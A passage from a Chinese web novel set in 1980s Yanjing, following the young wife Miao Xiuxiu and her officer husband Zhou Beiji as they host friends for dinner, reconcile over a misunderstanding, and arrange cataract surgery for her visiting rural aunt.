“知足吧,媳妇漂亮,厨艺还好。我发现她最近真是越来越漂亮了,每次见到都比上次更漂亮。”叶耀然之前只是觉得苗秀秀长得还不错,这几次见面觉得岂止是不错,明明就是个大美人。
“你这话敢不敢当着小华的面说?”周北冀笑着给了叶耀然一拳。
“有什么不敢的,我家小华又不是那种爱拈酸吃醋的人。”叶耀然和舒华一样,都是大方开朗的性格,夸人也夸得坦坦荡荡。
“最近是有点变了,也爱打扮了,也舍得花钱了。”
“这你不能限制人家,女为悦己者容,她不打扮怎么变漂亮,不花钱怎么打扮?想要漂亮媳妇,就不能怕她花钱。”
“我可没说不舍得她花钱,我是觉得她和以前变化很大,似乎一下子就变自信了。”周北冀想起苗秀秀的变化,最想不通的地方就是令她前后判若两人的自信到底是打哪儿来的。
之前她也没少看电视,说是看电视看的似乎有点说不过去。看书看报时间也不长,不可能一夜之间就把自信给建立起来。
“可能是想通了吧,以前太在意你的看法,所以盲目自卑畏首畏尾,想通之后不在乎你了,开始把钱花在自己身上,她本身底子就不错,打扮打扮变更美了所以增加了自信。”叶耀然笑着分析苗秀秀的变化,顺带着揶揄周北冀一把。
“你说什么呢,揍你。”周北冀听不得这样的话,凭什么她不在乎自己了,她就变美变自信了。
叶耀然大笑,“我说的难道不是实话,你本来就没多喜欢人家,之前不止一次说以后肯定离婚,怎么这才几天就把当初的豪言壮语给忘了,你不喜欢人家,凭什么要求人家在乎你呢?”
听到离婚两个字,周北冀心头一梗,叶耀然到底是他多年哥们儿,把他的心思都给看透了,不管他现在喜不喜欢苗秀秀,他都无法接受苗秀秀不在乎他,他在心里认定苗秀秀是喜欢他的。
叶耀然见玩笑开得差不多,也就不再言语。周北冀自己心思乱了,被他趁乱搅局,一着不慎满盘皆输。
两个女人炒好了菜,叫两个男人出来吃。叶耀然和周北冀出来一看,嗬,四个热菜两个凉菜,看起来相当丰盛。
苗秀秀指着爆炒肚丝说:“这是舒华姐炒的,你们趁热吃,凉了就不好吃了。”
四人坐下,苗秀秀对周北冀说:“舒华姐要保护嗓子,不能吃太辣的,水煮鱼我少放了辣椒,你要是嫌不够味,去倒点辣油在碗里,你自己吃。”
周北冀嗯了一声。
叶耀然夹了一块藕夹子吃,赞道:“比上回的还好吃,上回的都有点凉了,小华你尝尝糖醋的,我觉得比椒盐的好吃。”
说起藕夹子,又勾起周北冀的心事,但是苗秀秀始终没有问起,他也就不主动提。苗秀秀见他一块藕夹子也没吃,主动给他夹了一块椒盐的,让他尝尝味道。
她做的菜就没有不好吃的,梅菜扣肉更是一绝,周北冀和所有男人一样,无肉不欢,肥瘦相间的五花肉炖得烂烂的,他吃了一块还想吃第二块,叶耀然也和他一样,停不下筷子。
“这虎皮肉绝了,肥而不腻,比我妈烧得还好。”叶耀然也是个资深吃货,四九城所有好吃的馆子他都吃过,包括招待贵宾的国宴也都跟着他父亲出席过,对苗秀秀做的
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这道家常菜赞不绝口。
“秀秀的手艺确实好,以前我也吃过别人做的凉拌皮蛋,怎么就没有秀秀拌的这个好吃呢?”舒华特别喜欢吃这道凉拌皮蛋,自己就吃了一半。
苗秀秀得意地笑,这可是她上辈子和菜菜研究了好久才研究出来的独门秘方,皮蛋和嫩豆腐材料普通,靠的是精心搭配出来的酱汁,除了酱油香油和醋这种常规酱料,还要放上少许糖来提鲜,再撒上花生碎和香菜,酸辣咸鲜香,五味俱全,能不好吃吗。
一顿晚饭吃得所有人都满意,饭后叶耀然主动把周北冀拉进厨房和他一起刷锅洗碗,好让苗秀秀能有时间去给舒华量尺寸。
周北冀除了在野战部队那几年刷过自己的碗筷,无论是以前在周家还是婚后在自己的小家都没刷过碗,一不留神还打碎了一个碗。
“你该不会结婚后连一次碗也没刷过吧?”叶耀然看周北冀笨手笨脚的样子,怎么也不像是经常帮忙干活的样子。
“没。”周北冀老老实实承认。结婚前家里有保姆,结婚后一直是苗秀秀伺候他,他每次回家都是当甩手掌柜,衣来伸手饭来张口。
“那你可有点不像话,饭不做也就算了,桌子总该帮忙收拾收拾,或者扫扫地,什么都不干哪像是结过婚的人。”
叶耀然也是大家庭出身,但是因为家里兄弟姐妹多,他排行老三,小时候大人忙不过来的时候,他经常帮着干活,不是照顾弟弟妹妹,就是帮妈妈做家务,因此他并不像周北冀那样娇生惯养。
周北冀尬笑一声,在这方面他确实欠缺,也是因为两个人的小家庭家务并不多,他觉得苗秀秀一个人就能干了,用不着他插手。现在想来,以前他每次回家,苗秀秀都把家里打扫得干干净净,饭菜准备好了他嫌弃口味不好,都不愿意吃,似乎是有点过分。
叶耀然和舒华走了以后,苗秀秀趴在缝纫机上画演出服设计草图。周北冀走到她身旁,嘴唇动了动,想说点什么,又觉得难以启齿。
“明天中午带你去买自行车。”周北冀没话找话地说。
苗秀秀哦了一声,没有抬头,画草图画得很仔细,似乎对周北冀的话并没有放在心上。
周北冀有点不甘心,又说:“我们白天训练,中午能休息三个小时,下午的训练到七点钟才能结束。”
苗秀秀还是只是嗯了一声,没发表任何评价。
“秀秀,你是不是——”周北冀有点窘,藕夹子那事不交代恐怕是不行的。苗秀秀在人前装不在意,但是在人后明显对他冷淡了许多。
他当兵这几年,没少看到男兵女兵互相送吃的献殷勤,这往往是很多人交往的第一步,以前别说是夏文竹,别的女兵也不是没给他送过吃的,可现在不一样了,他结婚了,再接受她送的食物很不合适。
“是不是什么?”苗秀秀一心只想着设计图,早就把藕夹子的事忘记到了脑后。她又不是没看到夏文竹给他送饭盒,一来她不在意,二来她没时间。
“耀然说的藕夹子是别人送给我的,我拿到宿舍分给室友吃了,他们以为是你炸的。”周北冀费力地解释着,自己都觉得这样的说辞有点勉强。
苗秀秀总算听出点意思,敢情这家伙以为自己是吃醋才没工夫理他,笑着看他:“别人是谁呀,对你还怪好的,炸藕夹子挺费事的,要拌肉馅、切藕,还要把塞上肉的藕夹放在面粉糊里过一下上浆,再放到油锅里炸至金黄酥脆,火候必须掌握好,不然容易糊。”
周北冀端详着她认真的表情,确认她明明吃醋却装作不在意,之前心里那种忐忑不安瞬间放下了,伸手亲昵地在她脸颊上捏了一捏,转身而去。苗秀秀看着他背影两秒钟,心砰砰直跳。每次她想对他视而不见,他总有办法让她的心如小鹿乱撞。
深吸一口气,苗秀秀告诫自己,不可妄动不可妄求,心要入定,入定后一切皆可安。
15. 第十四章
九点多的时候,周北冀说他回学校去了,不然赶不上明早的训练。苗秀秀本来都想好了把床分给他一半,他忽然说要走,她心里莫名有一丝失落。
周北冀很显然是深谙进退之道的,苗秀秀说要送他下楼,他说不用,他也不再像白天在大礼堂看演出时那样对她表现出亲密,拿上车钥匙他直接就打开家门下楼去了。
苗秀秀独自怅然、纠结,但最终她搁下了一切念头,生活对她这样经历过生死的人来说,顺其自然就是命运最好的安排。
第二天中午,周北冀下了训练场也没顾上吃饭就骑车往家里赶。到家以后接上苗秀秀,骑车带她去商场买自行车,两人选了半天,最终选了一辆秀气的凤凰牌女式自行车。
“你还没吃饭吧,我带你去吃饭。”周北冀对苗秀秀说。苗秀秀点了点头,让他找个近点的馆子。
这还是结婚以后两人第一次在外面吃饭,八几年的饭店基本上都是国营的,饭店里生意兴隆,服务员的服务态度却不怎么样,两人好不容易找到位子,周北冀让苗秀秀先坐下,他去等菜。
顾客太多,服务员根本没时间送菜到每一桌,都是顾客自己去等菜端菜,周北冀端着两盘菜和一扎啤酒过来的时候,苗秀秀已经摆好了两副碗筷。
一盘爆炒羊肉、一盘炒田螺,刚出锅还冒着热气,周北冀给自己和苗秀秀各倒了一杯啤酒。
“这还是你第一次带我出来吃饭。”苗秀秀端起酒杯,和他碰了碰杯。
“以后你不想做饭了,我可以经常带你出来吃。”周北冀叫苗秀秀趁热吃菜,他点的这两样都是出锅最好吃,凉了就不好吃了。
小夫妻相对而坐,喝酒吃菜,气氛融洽。
苗秀秀看着店里那些人,感叹首都人民生活水平就是高,哪像她老家的穷山沟,好不容易进一次县城,都舍不得下馆子吃炒菜,每次她和她哥都是点一碗素面吃吃就算了,炒菜对他们来说太贵了。
看到顾客里有人穿一身西装,苗秀秀对周北冀说:“我看你一年到头都是一身军装,改天我给你做一套西装吧,等天气凉了你休假的时候可以穿。”
“好啊。”难得媳妇想起来要给他做衣服,周北冀自然不会不答应。尽管他穿军装已经穿惯了,偶尔换换也不错。
“哪天晚上有空回家来,我给你量量尺寸。”苗秀秀把杯子里的啤酒一饮而尽。没想到几十年前的啤酒也挺好喝的,很浓香的麦芽味。
独自骑车回家,苗秀秀心情愉快,看着闪闪亮亮的新车,她都有点舍不得把车放楼下停车场,但是搬上楼也没地方放,只能把车锁好了先回家。
这天下午,苗秀秀骑车从外面回来,在大院门口被警卫拦住,警卫告诉她,有两个自称是她老家亲戚的人在门口等了一中午了,他们打电话到她家,结果没人接。
老家亲戚?苗秀秀很诧异,之前并没有接到家里的信或者电话说有人会来雁京找她,怎么忽然冒出两个亲戚出来?
等警卫把苗秀秀领进值班室,指了指在墙角席地而坐的两个人,苗秀秀倒也认出来,这一老一少确实是她亲戚。那个五十多岁的农村妇女是她二婶子汪玉兰,而二婶子身边那个看起来有点憨憨的少年则是二叔二婶的五儿子、她最小的堂弟苗昭。
说起这个二婶汪玉兰,也是村里的名人,早些年家里是替人算命驱鬼跳大神的,后来农村破四旧不允许搞封建迷信活动,她就改行当了接生婆,二叔是个老实人,只会种地耕田,经常被她数落不会挣钱。
汪玉兰在家里当姑娘的时候就喜欢满村里到处窜,结婚后更是变本加厉,张家长李家短,没有她不爱打听的事儿,每逢初一十五她还经常重操旧业,偷偷到村民家里替人算命赚点零花钱。
村里干部不赞成她搞迷信活动,让二叔说了她好几次,她也不理会,说多了她就头不梳脸不洗、茶饭不吃、也不去地里干活,躺在床上不起来,谁来叫她,她就说被二叔欺负了,起不来床。一来二去二叔拿这个媳妇实在没办法,只能随她去。
生了五个娃娃后,汪玉兰更是在苗家霸道了三十年,是村里有名惹不起,连村长和支书见了她都头疼。村里有个二流子不信邪,在她的自留地里偷摘了一个香瓜,她气得一蹦三尺高,拿着菜刀追着二流子跑了大半个村子,直到对方失足跌进粪坑,她才肯罢休。
当初和周家定下娃娃亲,汪玉兰没少在背后说风凉话,说秀秀妈痴心妄想,人家周司令不过是随便说说的,怎么可能让金尊玉贵的小儿子娶苗秀秀。
她那时并不知道周明康的具体军衔,只知道是部队上的大领导,在她眼里,司令就是最大的官,因此把周明康叫成司令准没错。
等到十多年后周家人真来提亲、要接苗秀秀到雁京的时候,汪玉兰的态度又发生了一百八十度大转弯,连着好几天往苗家跑,替秀秀妈出谋划策、忙前忙后准备嫁妆,连苗秀秀启程前往雁京的日子和结婚的日子,都是她在家里占卜卦象算出来的黄道吉日。
尽管不太情愿,看到老家来人,苗秀秀也不得不接待,主动上前说:“婶儿、五弟,你们来之前怎么也不打个电话,我去火车站接你们。”
汪玉兰视力不行,一时间也没认出来这个时髦的年轻姑娘就是苗秀秀,仔细看着她半天,用手摩挲着她的手臂,疑惑地说:“秀啊,你咋变样了?变得我们都不认识了。”
苗秀秀扶住她,“婶儿,您眼睛怎么了?是老花了?”
汪玉兰眯虚着眼睛,叹了口气说:“唉,年纪大了老眼昏花,去县里医院看,医生说是白内障,让我到省城大医院动手术,不然就会失明,我们在省城也没有认识的人,所以我和你叔一合计,只能上雁京来麻烦你啦,秀儿,听说你婆婆和大姑姐都是医生,能不能给婶儿安排个医生看看?要是太麻烦,我这就跟你五弟回去。”
苗秀秀一猜她就是有求而来,怕自己不肯帮忙,事先连电话都不打,直接就带着儿子坐火车过来,让她没有不答应的机会。二婶一向都是这么鸡贼,没有她不占的便宜,没有她攀不上的关系。
看母子俩眼巴巴看着自己,苗秀秀当然硬不起心肠,“婶儿,您这是说哪儿的话,您千里迢迢来看病,我还能不帮您这个忙,您和五弟吃饭了吗?没吃的话,我先带你们去吃饭。”
“我们——”
苗昭刚要说中午在火车上吃过了,被汪玉兰打断话头。汪玉兰说:“我们一大早五点钟不到上的火车,连坐车带找你住的地方,一天下来水米未沾。”
“那好,我带你们去外面的饭店吃。”苗秀秀主动替汪玉兰提着行李。也不知道破旅行包里装的是什么,死沉死沉的。
汪玉兰讨好地说:“秀儿,包里是你叔让给你带的花生和大蒜,你叔说你以前在家里当姑娘的时候喜欢吃花生,老五,还不快帮你秀秀姐提着包,傻孩子一点眼力没有。”
“您太客气了,这么重的包难为您从老家背过来。”
苗秀秀把旅行包给苗昭提着,领他俩去大院附近的小饭店吃饭,怕他们吃不饱,点了三个菜,又问他们是吃米饭还是吃馒头。
“米饭馒头都行。”
“那就都来点吧,再来二斤水饺。”
苗秀秀利索地点好了饭菜,等服务员把饭菜端上桌,那母子俩狼吞虎咽吃饭的时候,她才开始细细打量他俩。
二婶眼神虽然不行,吃饭一点不耽误,半盏茶的工夫已经吃了一碗米饭一个馒头,身上穿的衣服虽然破旧了点,但洗得很干净。
这一点上二婶在老一辈的农村妇女里是个异类,据她自己说,她家祖上也是读过书的人家,祖父还曾经考中过秀才,到了她父亲和她这一辈是迫不得已才开始算命跳大神,她自己高小毕业,在那个年代贫困的山区农村,算是有文化的人了。
因此她特别爱干净,也爱收拾家,虽然家里穷得没有几件像样的家具,她也经常把家里收拾得很利索。她的缺点虽然不少,整理家务却是没话说,二叔和五个儿女,哪怕衣服是缝缝补补、补丁上摞补丁,也是干干净净的。
看到苗昭身上明显不合身的衣服,苗秀秀笑着说:“大半年不见,五弟又蹿高了不少,手长脚长的。”
“是啊,长
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成个傻大个,读书也不行,今年高考啥都没考上。”汪玉兰眯虚着眼睛瞅了小儿子一眼,这孩子傻里傻气的,一点也不像她。
苗秀秀没接这个话茬儿,说:“一会儿吃完了,我先带你们去军区招待所住下,晚上我打电话给我对象小周,让他找大姑姐说一下婶儿找医生看眼睛的事。”
“不用不用,招待所太贵了,我们在你家打个地铺就行。”汪玉兰连忙推辞。住招待所就得花钱,她心疼钱。
苗秀秀当然听出来她的意思,笑着说:“婶儿,我家地方小,住着不方便,您和五弟到了雁京就是我的客人,哪有让您出钱的道理,军区招待所比外面的旅馆便宜,钱我出。”
“这哪里好意思呢,你刚嫁过来的小媳妇也不容易。”汪玉兰客气了两句,立马话锋一转,“侄女婿晚上不在家啊,怎么还要打电话?”
“他在军校上学呢,学校宿舍管得严,一星期才能回家一趟,您安心跟我去招待所住下,事情我会安排好的,您还信不过我?”苗秀秀也会说话,一句话就打消了汪玉兰的顾虑。
汪玉兰这下放心了,美滋滋地又吃了两个馒头。母子俩还把二斤饺子也全给报销了。
军区招待所,苗秀秀原本想替汪玉兰和苗昭定两个房间,汪玉兰执意不肯,说一个房间就够了,让苗昭打地铺就行,苗秀秀拗不过他们,只好订了一个标间。
招待所房间很整洁,汪玉兰摩挲着雪白的被褥和枕套,感慨,首都就是好啊,招待所里到处都干干净净的,随时供应热水还管饭,乡下真是不能比。
“婶儿,你和五弟先简单收拾收拾,我去替你们买点生活用品。”
苗秀秀好人做到底,不仅去服务社买了新毛巾脸盆、牙刷牙膏和擦脸的雪花膏,还回家翻箱倒柜找出两身周北冀不穿的旧军装,准备给苗昭带过去。那孩子怎么说也叫了原主十几年姐姐,看他穿得那么寒酸于心不忍。
苗秀秀返回招待所的时候,那母子俩已经把旅行包收拾出来,苗秀秀把买给他们的生活用品交给汪玉兰,又把苗昭叫到一旁,把周北冀的旧军装给他,叫他换上。
“这衣服你姐夫也就穿过两三回,你穿上试试,看合身不合身。”苗秀秀打量了一下,苗昭个头没有周北冀高,身形也偏瘦,但也有一米八了,穿他的衣服应该合适。
苗昭还没说话,汪玉兰先替他回答了,“合身,肯定合身,老五,还不快谢谢你秀秀姐。”“谢谢秀秀姐。”苗昭腼腆地接过军装,欢欢喜喜地拿去外面的洗手间换上。
不得不说,穿上军装以后精神多了,苗秀秀给了苗昭一叠饭票,嘱咐他早中晚都可以带汪玉兰去招待所一楼的饭堂吃饭。
安顿好母子俩,苗秀秀回到家已经是傍晚时分,估摸着周北冀已经吃过晚饭,打电话给他,说起二婶来看病的事。
“行啊,来呗。”周北冀语气淡淡的。当初他和苗秀秀结婚的时候,他两个嫂子和姐姐没少在一起议论,找个农村媳妇肯定事多,不是要到雁京来看病,就是要求周家人帮忙找工作,不光是亲戚,他们全村人都有可能找来。
“你不高兴啊?”苗秀秀听出来周北冀情绪不是很高。
“那倒不是,我爸老家也经常来亲戚这事那事要求帮助,你老家来个人不算什么,我只是不知道该怎么和我妈我姐提这事。”周北冀并不怕帮苗秀秀老家来的人出钱出力,他是烦他妈和他姐唠叨。
本来她俩就瞧不起苗秀秀,这一下子看到乡下亲戚上门,还不知道会怎么想怎么说。碍于面子,这个忙她们肯定会帮,但是她们绝不会不发表议论。
“你不好提,那我和大姐说一下行不行?”
“还是算了,这事我说更合适。这样吧,一会儿我回家一趟,把你婶子和堂弟领我父母家去,我爸晚上在家,只要他发话,我姐就没话说。”
周北冀想来想去,觉得不带苗秀秀老家亲戚去见见他父亲也不合适,不管怎么说,婶子也是长辈。
“那好啊,咱俩一块儿回家。”苗秀秀没想到一向不爱管闲事的丈夫这么好说话,心里畅快许多。
16. 第十五章
傍晚,周北冀回家来,和苗秀秀一起去招待所接汪玉兰和苗昭去周家。
“婶子,这是我对象周北冀。”苗秀秀给他们做介绍。周北冀很礼貌地和汪玉兰打招呼,也和苗昭打了个招呼。
看到苗昭身上八成新的军装,周北冀猜到是苗秀秀把自己不穿的衣服拿给他,笑而不语。
两家联姻的时候没有在老家办婚礼,因此汪玉兰这还是第一次见到苗秀秀这个传说中的高干子弟丈夫,仔仔细细把他上下打量个遍。
小伙子长得又俊又气派,汪玉兰虽然视力模糊不清,光看轮廓也能看个大概,心里直感叹,秀秀这丫头命真好,麻雀变凤凰攀上了高枝不说,找的对象模样儿还这么好,真能羡慕死全村人。
汪玉兰在村里能说会道,但是到了首都,见到了周家人,不知不觉气焰上就矮了一截,不知道和周北冀说什么是好。
周北冀主动和她说话,“婶子,我和秀秀商量过了,领您和五弟过去和我爸妈见个面,您大老远从老家过来一趟不容易。”
又有礼貌说话的声音又好听,汪玉兰心里对周北冀好感更深,“要见亲家公啊,好好。”
来招待所之前,周北冀提前打了个电话回家,因此周家人已经做好了接待客人的准备。保姆小张早早站在院门口,替到访的客人开门。
天还没有黑透,汪玉兰被苗秀秀领着走进一个小院子,眼前景物模模糊糊,但依稀能看出来是三层小洋楼,心说,这房子还不算大?电影里的资本家才能住这样的房子。
走进周家的客厅,汪玉兰和苗昭都有眼前一亮的感觉,部队首长家里就是不一样,房子又宽敞又气派,富丽堂皇的,除了满堂的家具,还有电视和沙发,他们以前只在电影里见过这样豪华的家。
周明康和沈芬玉满脸笑容看着小儿子小儿媳领着客人进来,客气地和汪玉兰寒暄,请她坐下谈话。沈芬玉叫小张倒茶、切水果招待客人。
汪玉兰哪见识过这样的场合,别说周明康这样的首都大领导,她连比村长更大的官儿都没见过几个,难免有点受宠若惊,但好在她在村里的时候也是个口齿伶俐的人,最初的彷徨过后,很快谈吐自如,话里话外把周明康和沈芬玉恭维上天。
沈芬玉之前还有点提不起精神和这个眼睛半瞎的农村妇女交谈,但对方实在是太会说话了,让她心里的优越感蹭蹭上涨,脸上的笑意始终没消失过。
聊了半天家常,周明康主动问起汪玉兰的眼睛,汪玉兰告诉他,她视力模糊已经好几年了,去县医院也检查过,医生说是白内障,让她在眼睛完全看不见之前尽快动手术摘除。
周明康说:“她婶子,你这趟来算是来对了,我大女儿就是海军总医院眼科医生,回头我打个电话给她,明天一早就让秀秀领你去医院找她检查,手术的事你放心,海军总医院条件很好,到时候让我大女儿给你安排住院动手术。”
“那敢情好,亲家公公,谢谢你,你们一家都是好人。”汪玉兰欣喜无比。她没想到自己的雁京之行如此顺利,秀秀她公公这么和蔼可亲平易近人,手术的事这么果断就给安排上了。
在周家坐到九点多,苗秀秀胳膊肘捅了一下周北冀,两人同时起身告辞,汪玉兰惦记着儿子找工作的事,但也知道这种场合不好再提,向周明康再三道谢,跟在侄女和侄女婿身后离开了周家。
招待所楼下,苗秀秀和汪玉兰苗昭说定了早上来接他们去海军总医院看病的时间,叮嘱苗昭,一定要照顾好二婶。
“秀秀姐,你放心跟姐夫回去吧。”苗昭看到周北冀已经骑在车上,懂事地叫苗秀秀赶紧回去。
苗秀秀嗯了一声,骑上车去找周北冀。
“这么晚了,你明天再回学校吧。”苗秀秀对周北冀说。周北冀说:“你这个婶子一看就不是个普通人,说话一套一套的,滴水不漏。”
“你猜她在我们村是干嘛的?”苗秀秀笑问。
“这我哪能猜到。”
“猜猜看嘛。”苗秀秀娇嗔。周北冀只得作认真状想了想,半是试探半是开玩笑地说:“嘴巴那么能说,善于察言观色,该不会是算命跳大神的吧,就像《小二黑结婚》里的三仙姑。”
苗秀秀表扬他,“你真聪明,一猜一个准,她以前是我们村有名的算命仙姑,谁家出点事,总会找她去跳大神驱邪,后来村里不许搞封建迷信活动,她才改行当了接生婆,我们村在大山里,乡里有个小卫生所,条件很差不能接生,去县医院得走几十里山路,很多人都是在家里生产。”
嘿嘿,周北冀笑了两声,他自幼在雁京长大,从来没见过农村跳大神的仙姑,如今活生生的仙姑摆在眼前,难免有些好奇。
“也就你们农村人信这些封建迷信。”
“这可不好说,世界上本来就有很多科学解释不了的事情,因为科技没发展到那个程度,所以人类把自己解释不了的事情归类为超自然现象,封建迷信就是超自然现象的一种。”
听到苗秀秀说这番话,周北冀扭过头很奇怪地看了她一眼。苗秀秀跟他微笑,没有继续这个话题。
骑车回家,苗秀秀主动去挽着周北冀手臂,两人一起上楼,打开家门,苗秀秀径直去了厨房,把冰镇好的西瓜从冰箱里拿出来,端到茶几上给周北冀吃。
“放十分钟你再吃,不然太凉了。”苗秀秀嘱咐周北冀。周北冀心不在焉应了一声,视线追随着她,见她找衣服去洗澡,问她:“明早用不用我陪你去找我姐?”
“不用,大姐工作的医院我能找到,你明天不是还要上课嘛,不麻烦你。”
“上午我没课。”
苗秀秀正在拆头发上的发夹,听他这么说,转身看着他笑,“我以为你不爱搭理这些事,亲戚事多,有时候也挺烦的。”
原主的记忆里,二婶带着儿子来雁京的这一趟并不顺利,周北冀虽然勉为其难把人领到父母家,在父亲的指示下也带着他们去医院找周湘南帮忙看病,但他全程都冷着脸,没有表现出一分热情,尤其是当二婶提出请周家人帮忙替他儿子找工作,他表情里的轻蔑就更明显了,原主知道他是在嫌弃她乡下亲戚麻烦事多,在他面前越发抬不起头。
而这一次,他的态度明显有了转变,难道这就是爱屋及乌?
“你不怪我事先没和你商量就让他们直接从老家到雁京来?”苗秀秀主动提起他心里可能会有的一个疙瘩。
“是不太好,但是既然来了,能帮就帮。”周北冀说。
这么说,他确实是误会了,以为她先斩后奏是为了让周家人不帮也得帮,这就难怪他上一次会对二婶的事那么冷淡。
苗秀秀当然不能让这个误会继续下去,解释:“如果我跟你说,我事先根本不知道他们要来,我也是今天下午回家的时候才知道他们从老家过来,你信不信我的话?”
周北冀思忖片刻,点了点头,“你那个婶子确实是像能干出这种事的人。有便宜不占白不占,我猜他们住招待所的钱都是你出的。”
“我出也是应该的,他们在老家生活那么困难,到雁京来看病,别说食宿钱,就算是手术费住院费我也该全包了。”
周北冀吃了一口甜甜的西瓜,说:“你考虑过后果没有,这回你把费用全包了,下回你七大姑八大姨有样学样,都到雁京来找你帮忙
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,你都能全包了?”
苗秀秀打消他的顾虑,“这倒不会,远近亲疏我分得清,她是我婶子,我只有一个叔,我叔以前还对我特别好,替他们家帮忙我乐意,别的亲戚,就得看我乐意不乐意。”
“你自己想好了就行。”周北冀转回头去看电视。
心里的误会消除,周北冀对这件事自然就上心多了,专门找人借了一辆吉普车,开回家带上苗秀秀,一起去招待所接汪玉兰和苗昭。汪玉兰视力不行,开车送他们去医院方便一点。
汪玉兰早已准备好一个小包袱,和儿子早早在招待所一楼等着。
苗昭站在台阶上,看到一辆绿色吉普车开过来,从车里下来的人正是他堂姐苗秀秀和姐夫周北冀,连忙对母亲说:“妈,秀秀姐和姐夫来了,姐夫开了一辆吉普车来接咱们。”
“什么?开车来的?我这辈子还没坐过吉普车呢。”汪玉兰有点激动。周家人真不错,安排事情又周到又大气。吉普车,那是只有县上的大干部才能坐的车呀。
上了车,汪玉兰和苗昭坐后座,拘束得手脚都不知道该怎么放,等车发动起来开上了路,他们才渐渐放松。
海军总医院比县医院大多了,不仅病人多,医护人员也多,汪玉兰一手扯住儿子的胳膊,一手挽着包袱,紧紧跟在苗秀秀身后,生怕走丢了。看到过来过往穿着白大褂的军医,心里直犯怵。
周湘南早已等候多时,看到周北冀带人进来,原本淡漠的脸上多了点表情,主动说:“大娘来了,坐下吧,我替您检查检查。”
汪玉兰把包袱交给儿子,坐到椅子上。周湘南戴上额镜,替她检查眼底和眼压,又叫她坐到裂隙灯显微镜旁,观察角膜、晶体,几番检查过后,告诉她,她的裸眼视力只有0.3、晶状体浑浊,已经符合白内障手术条件。
“大姐,我婶子的手术能尽快安排吗?”
“我和住院部联系一下,看那边有没有空床位,没有的话就只能等几天,手术后需要住院观察三天,防止细菌感染。”
周湘南拿起桌上的电话,拨打了一个号码,和对方在电话里说了半天,海军总医院常年床位紧张,周湘南把几个病区问了个遍,都没有可以空出来的床位。
“要不你们去同仁医院试试?我有好几个同学在那边,我可以帮你们联系一下。”周湘南问汪玉兰和苗秀秀的意见。
同仁医院的眼科在雁京的医院里排名数一数二,但是汪玉兰心想,秀秀的大姑姐和大姑姐的同学哪能一样,反正来都来了,也不急在这几天,于是说:“那样就太麻烦大姑姐你了,我这病反正也都这么长时间了,等过几天有床位我再过来也不要紧。”
老太太什么心思周湘南怎么会看不出来,笑着瞟了小弟一眼,对汪玉兰说:“也好,反正您这个只是个小手术,我随时给您打听床位的情况。”
周北冀对大姐这个眼神心领神会,领着苗秀秀和汪玉兰母子离开眼科办公室。苗秀秀悄悄问周北冀:“你能不能想想办法?尽快给我婶子安排给床位。”
苗秀秀相信,以周家的人脉,这点小事甚至都不用惊动周明康,周北冀就能给解决了。
“怎么?你不希望他们在雁京多住几天?”周北冀看问题一向尖锐。苗秀秀脸上的笑顿时变得有些僵硬,瞥着他:“你不也不希望么。”
周北冀否认,“我哪有不希望,还不是看你自己意见。你要是不想留他们多住,我一会就打电话找人,最晚明后天就能安排你婶子住上。”
“那你快找人吧。”苗秀秀看到汪玉兰和苗昭老老实实坐在休息区的长椅上,视线转回丈夫脸上,“回去再说。”
17. 第十六章
中午,周北冀回学校去了,苗秀秀带汪玉兰和苗昭去大院食堂吃饭,给他俩打了三四个菜,有鱼有肉有鸡,母子俩吃得很香。
苗秀秀吃了一点就不吃了,看着他俩狼吞虎咽的样子,心中不无动容,比起大城市的生活,偏远地区农村农民的生活太苦了,虽然原主以前和这个婶子并不怎么亲,看到他们这样,也忍不住心酸。
苗秀秀主动说:“婶子,下午您和五弟去我家里认认门,我家小周有一件不穿的军大衣,还是新的,放着也怪可惜的,到时候给你们带回去,不管是给我叔穿,还是给五弟穿都行。”
汪玉兰心花怒放,赶紧说:“给小五穿,小五这孩子长得太快了,正愁没钱给他做过冬的新棉袄。”
带汪玉兰和苗昭回家,汪玉兰一走进客厅就感觉地方很是逼仄,说:“这就是你和小周住的地方?房子确实不大,和亲家公的小洋楼不能比。”
“那肯定的啊,部队上住房都是按级别来的,我公公是将军,我家小周才副营级。”
“副营级也很了不起了,姐夫二十多岁就是少校,不愧是上过越南战场的。”苗昭兴奋地在一旁说话。他早就从二堂哥那里听说过堂姐夫的事迹,知道他是立过二等功的战斗英雄,一直对他很崇拜。
苗秀秀笑了笑,轻抚着堂弟圆圆的脑袋,说:“你也想当兵啊?”
“想。”苗昭很实诚地点了点头,他最羡慕军人了,以前每次大堂哥从部队探亲回家,他都要缠着大堂哥讲部队的里的事,一心想着将来自己要是也能参军入伍就好了。
“婶子,您也愿意五弟当兵?”苗秀秀有意问。
“愿意啊,咋能不愿意,当兵光荣,能为国家做贡献,还能挣工资。”汪玉兰眼睛虽然看不清楚,心里可跟明镜儿似的,从她这趟雁京之行就能看出来,周家是个体面人家,对苗秀秀这个农村媳妇很不错,不然也不会让自己跟着沾光,苗秀秀会这么问,显然这丫头也是知道他们娘儿俩心思的。
“您和五弟能有这样的觉悟挺好的。”苗秀秀点到即止,没有继续往下说。汪玉兰自然明白,也就按捺住心思,暂且不提。
留母子俩吃了顿晚饭,苗秀秀把他们送回招待所之后,打电话给周北冀。
“你上午说有事要跟我说,是什么事啊?”周北冀问。苗秀秀说:“床位的事联系怎么样了?”
“问过了,后天就能安排。”
“那正好,明天我要去菜百买点东西,后天送他们住院。”苗秀秀想好了,要去菜百给她妈妈买一对银镯,到时候托二婶带回去。
“你这个堂弟高中毕业了吧?”周北冀忽然问。
苗秀秀把自己下午试探汪玉兰和苗昭的事告诉他,又说:“五弟很想当兵,高中毕业应该符合征兵条件,就是我们乡里名额有限,每年一到征兵的时候,都是乡里县里的关系户报名,没有关系的只能靠边站。”
“行了,我有数。”周北冀头天晚上带汪玉兰母子去周家的时候就已经看出来,汪玉兰这次到雁京来不仅仅是看病,她还有别的诉求。
一阵沉默,两人忽然都有点尴尬,苗秀秀想说些什么,话到嘴边又说不出口,问周北冀第二天有没有时间陪她去一趟菜百,估摸着他可能也没时间,不过随便一问,哪知道他竟一口答应了。
商场里琳琅满目的金银饰品令人眼花缭乱,苗秀秀选了一对沉甸甸的银镯,路过金饰柜台的时候也忍不住看了几眼。
“想要吗?给你买一条?”周北冀看过母亲和大姐戴金项链,以前却从没想过给媳妇也买一条,此时见她望着柜台里的金项链发呆,以为她也想要。
“不用了。”苗秀秀后世戴的都是国际大牌首饰,这个时代这种土里土气的设计实在难以入眼。就算买,她也只想买个对戒,最好和他一人一个。
周北冀见她头也不回地走了,又看了一眼柜台里的项链,他对女人的首饰没研究,一眼看过去感觉没有一个好看的,便也没多逗留,跟上媳妇。
